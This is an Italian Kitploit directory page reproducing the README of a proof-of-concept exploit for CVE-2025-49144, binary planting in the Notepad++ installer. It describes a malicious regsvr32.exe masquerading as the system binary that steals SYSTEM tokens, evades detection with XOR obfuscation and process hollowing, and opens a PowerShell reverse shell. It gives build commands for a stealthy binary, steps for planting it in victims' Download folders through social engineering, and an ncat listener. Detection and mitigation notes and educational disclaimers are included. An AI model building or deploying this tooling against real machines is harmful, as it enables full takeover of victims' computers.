Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-49144 — PoC CVE-2025-49144 | Kitploit
Strumenti/GitHubGitHub/vr00mm/cve-2025-49144
Escalation di PrivilegiMeccanismi di PersistenzaExploitCommand and ControlIngegneria SocialeApprendimento e FormazioneRed TeamingSviluppo PayloadBinary Exploitation
GitHubvr00mm/cve-2025-49144

CVE-2025-49144

PoC CVE-2025-49144

621 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

PoC di Binary Planting per Notepad++ (CVE-2025-49144)

⚠️ SOLO A SCOPO EDUCATIVO
Questo codice è progettato per scopi educativi e di ricerca per comprendere le vulnerabilità di binary planting. Utilizzare solo in ambienti controllati con la dovuta autorizzazione.

📋 Panoramica

Questa Proof of Concept dimostra la vulnerabilità di binary planting nel programma di installazione di Notepad++ (CVE-2025-49144) menzionata in GHSA-9vx8-v79m-6m24. La vulnerabilità consente a un aggressore di ottenere privilegi a livello SYSTEM posizionando un eseguibile malevolo chiamato regsvr32.exe nella stessa directory del programma di installazione di Notepad++.

🎯 Dettagli della vulnerabilità

  • Bersaglio: Programma di installazione di Notepad++ (tutte le versioni precedenti alla v8.8.2)
  • Metodo: Binary planting tramite regsvr32.exe malevolo
  • Causa principale: I programmi di installazione di Notepad++ richiamano binari di sistema come regsvr32 senza specificare percorsi assoluti
  • Impatto: Quando un utente esegue il programma di installazione, il sistema carica automaticamente il file malevolo con privilegi SYSTEM, concedendo all'aggressore il controllo completo della macchina bersaglio
  • Vettore d'attacco: Ingegneria sociale o clickjacking per indurre gli utenti a scaricare sia il programma di installazione legittimo che un eseguibile malevolo nella stessa directory (tipicamente la cartella Download)

🏗️ Architettura

Il PoC è composto da più componenti che lavorano insieme:

root@kitploit:~
┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│ Programma di    │    │ regsvr32.exe     │    │  Reverse Shell  │
│ installazione   │───▶│ malevolo         │───▶│   (PowerShell)  │
│ Notepad++       │    │ (binario CGO)    │    │  con privilegi  │
│ (cerca          │    │                  │    │  SYSTEM         │
│  regsvr32.exe)  │    │                  │    │                 │
└─────────────────┘    └──────────────────┘    └─────────────────┘

Componenti principali

🔧 Caratteristiche tecniche

🛡️ Tecniche di evasione

  • Offuscamento delle stringhe: Il percorso di PowerShell è codificato XOR per evitare il rilevamento statico
  • Processi distaccati: Crea processi indipendenti che sopravvivono alla terminazione del genitore
  • Impersonificazione dei token: Aumenta i privilegi rubando token SYSTEM
  • Process Hollowing: Inietta codice in processi Windows legittimi

🌐 Capacità di rete

  • TCP Keep-Alive: Mantiene connessioni persistenti attraverso i firewall
  • Ritenta la connessione: Riconnessione automatica con ritardi configurabili
  • Gestione dei timeout: Operazioni socket non bloccanti con timeout appropriati
  • Limitazione della frequenza: Previene lo spam di connessioni e il rilevamento

💻 Integrazione di sistema

  • Integrazione CGO: Interoperabilità Go-C senza soluzione di continuità per chiamate di sistema
  • Mascheramento dell'eseguibile: Imita il comportamento legittimo di regsvr32.exe
  • Multi-threading: Thread separati per la gestione di stdin/stdout/stderr
  • Recupero errori: Gestione elegante di fallimenti di connessione e uscite di processo
  • Gestione delle risorse: Pulizia appropriata di handle, socket e memoria

🚀 Istruzioni di compilazione

Prerequisiti

root@kitploit:~
# Installare Go (1.24+)
# Installare MinGW-w64 per la compilazione CGO
# Installare Git per il controllo versione

Compilazione

root@kitploit:~
# Clonare il repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144

# Compilare come eseguibile (mascherato come regsvr32.exe)

# Per la massima furtività (rimuovi info di debug)
go build -ldflags="-s -w" -o regsvr32.exe

# Per lo sviluppo (con simboli di debug)
go build -o regsvr32_debug.exe

📖 Utilizzo

Binary Planting (Vettore d'attacco primario)

root@kitploit:~
# 1. Posizionare regsvr32.exe malevolo nella stessa directory del programma di installazione di Notepad++
# Di solito la cartella Download dove gli utenti scaricano il programma
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"

# 2. L'utente scarica il programma di installazione ufficiale di Notepad++ nella cartella Download
# 3. Quando l'utente esegue il programma di installazione, questo cerca regsvr32.exe prima nella directory corrente
# 4. Il programma di installazione trova ed esegue il nostro regsvr32.exe malevolo con privilegi SYSTEM

# 5. Ascoltare la connessione reverse shell in arrivo
ncat -tlnp 4445

🔍 Flusso dell'attacco

root@kitploit:~
sequenceDiagram
    participant Utente
    participant Attaccante
    participant Download
    participant InstallerNotepad
    participant Regsvr32Malevolo
    participant ProcessoSYSTEM

    Utente->>Download: Scarica programma di installazione Notepad++
    Attaccante->>Download: Posiziona regsvr32.exe malevolo (ingegneria sociale)
    Utente->>InstallerNotepad: Esegue il programma di installazione dalla cartella Download
    InstallerNotepad->>Download: Cerca regsvr32.exe nella directory corrente
    Download->>Regsvr32Malevolo: Trova prima regsvr32.exe malevolo
    InstallerNotepad->>Regsvr32Malevolo: Esegue con privilegi SYSTEM
    Regsvr32Malevolo->>Regsvr32Malevolo: Crea processo distaccato
    Regsvr32Malevolo->>ProcessoSYSTEM: Enumera processi SYSTEM
    ProcessoSYSTEM->>Regsvr32Malevolo: Ruba token da winlogon/servizi
    Regsvr32Malevolo->>Regsvr32Malevolo: Crea PowerShell con token SYSTEM
    Regsvr32Malevolo->>Attaccante: Stabilisce connessione reverse
    Regsvr32Malevolo->>InstallerNotepad: Continua con funzionalità legittima di regsvr32
    Attaccante->>ProcessoSYSTEM: Esegue comandi come SYSTEM

🎓 Aspetti educativi

Concetti di sicurezza dimostrati

  1. Binary Planting

    • Comportamento insicuro nei percorsi di ricerca degli eseguibili
    • Escalation dei privilegi tramite vulnerabilità del programma di installazione
    • Vettori d'attacco di ingegneria sociale
  2. Escalation dei privilegi

    • Metodi di impersonificazione dei token
    • Furto di token di processo
    • Acquisizione di accesso a livello SYSTEM
  3. Meccanismi di persistenza

    • Creazione di processi distaccati
    • Mimica di processi di servizio
    • Logica di riconnessione
  4. Programmazione di rete

    • Implementazione di reverse shell
    • Programmazione socket in C
    • Networking multipiattaforma
  5. Programmazione CGO

    • Interoperabilità Go-C
    • Programmazione a livello di sistema in Go
    • Integrazione cross-linguaggio

Obiettivi di apprendimento

  • Comprendere come funzionano le vulnerabilità di binary planting
  • Imparare i percorsi di ricerca insicuri degli eseguibili nei programmi di installazione
  • Esplorare l'escalation dei privilegi Windows tramite difetti del programma di installazione
  • Studiare i vettori d'attacco di ingegneria sociale
  • Praticare la programmazione CGO e l'integrazione cross-linguaggio
  • Praticare la codifica sicura e l'analisi delle vulnerabilità

🛡️ Rilevamento e mitigazione

Metodi di rilevamento

root@kitploit:~
# Monitorare l'uso sospetto di regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}

# Controllare connessioni di rete insolite
netstat -ano | findstr ":4445"

# Monitorare la creazione di processi
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}

Strategie di mitigazione

  • Azione immediata: Aggiornare a Notepad++ v8.8.2 o successiva che imposta esplicitamente percorsi assoluti quando richiama eseguibili come regsvr32
  • Whitelist delle applicazioni: Utilizzare strumenti come AppLocker o Windows Defender Application Control
  • Verifica degli eseguibili: Implementare la verifica della firma digitale per tutti gli eseguibili
  • Validazione del percorso: Assicurarsi che le applicazioni utilizzino percorsi completi per gli strumenti di sistema
  • Privilegio minimo: Eseguire le applicazioni con i permessi minimi richiesti
  • Monitoraggio di rete: Monitorare connessioni in uscita insolite
  • Rilevamento endpoint: Implementare soluzioni EDR per rilevare il process hollowing
  • Controllo della configurazione: Evitare di eseguire programmi di installazione da posizioni scrivibili dall'utente come la cartella Download

⚖️ Considerazioni legali ed etiche

⚠️ Importanti dichiarazioni di esclusione di responsabilità

  • Autorizzazione richiesta: Utilizzare solo in ambienti di tua proprietà o per i quali hai esplicita autorizzazione a testare
  • Scopo educativo: Questo codice è progettato per l'apprendimento e la ricerca sulla sicurezza
  • Nessuna intenzione malevola: Non è destinato ad accessi non autorizzati o attività illegali
  • Divulgazione responsabile: Segnalare eventuali vulnerabilità trovate attraverso i canali appropriati

Linee guida etiche

  1. Uso responsabile: Utilizzare solo per test di sicurezza e formazione legittimi
  2. Nessun accesso non autorizzato: Non distribuire mai contro sistemi senza autorizzazione
  3. Attribuzione corretta: Accreditare i ricercatori originali e gli scopritori delle vulnerabilità
  4. Condivisione della conoscenza: Condividere i risultati in modo responsabile con la comunità della sicurezza

🔧 Risoluzione dei problemi

Problemi comuni

Fallimenti di connessione

root@kitploit:~
# Verificare se la porta è disponibile
netstat -ano | findstr ":4445"

# Controllare le impostazioni del firewall
netsh advfirewall firewall show rule name=all | findstr "4445"

Errori di compilazione

root@kitploit:~
# Assicurarsi che CGO sia abilitato
set CGO_ENABLED=1

# Controllare l'installazione di MinGW
gcc --version

# Verificare che l'installazione di Go supporti CGO
go env CGO_ENABLED

Fallimenti nell'acquisizione del token

  • Assicurarsi che il programma venga eseguito con privilegi sufficienti
  • Controllare se i processi SYSTEM sono disponibili per il furto di token
  • Verificare la compatibilità della versione Windows
  • Nota: Questa vulnerabilità colpisce tutte le versioni di Notepad++ precedenti alla v8.8.2, quindi il PoC dovrebbe funzionare su un'ampia gamma di installazioni

📚 Riferimenti

  • Repository CVE-2025-49144
  • Avviso di sicurezza Notepad++ GHSA-9vx8-v79m-6m24
  • NVD CVE-2025-49144
  • MITRE ATT&CK T1574.007 - Path Interception by PATH Environment Variable
  • MITRE ATT&CK T1134 - Access Token Manipulation
  • Documentazione Microsoft - Secure Binary Loading

📄 Licenza

Questo progetto è rilasciato sotto la licenza MIT per scopi educativi. Vedi il file LICENSE per i dettagli.


Ricorda: Questo strumento è solo per scopi educativi e di test autorizzati. Seguire sempre le pratiche di divulgazione responsabile e rispettare i confini legali.

Scarica lo strumento
FileScopoRighe
main.goPunto di ingresso, gestisce l'esecuzione di regsvr32~80
winbind.hHeader principale con dichiarazioni di funzioni~45
main.cLanciatore core della reverse shell e creazione di processi distaccati~75
shell.cGestore della shell con esecuzione PowerShell offuscata~120
process.cAcquisizione di token e creazione di processi SYSTEM~195
socket.cConnessione di rete con TCP keep-alive~85
threads.cThreading I/O tra socket e pipe~60
utils.cValidazione input e limitazione della frequenza~35
obfuscate.cTecniche di offuscamento del percorso PowerShell~70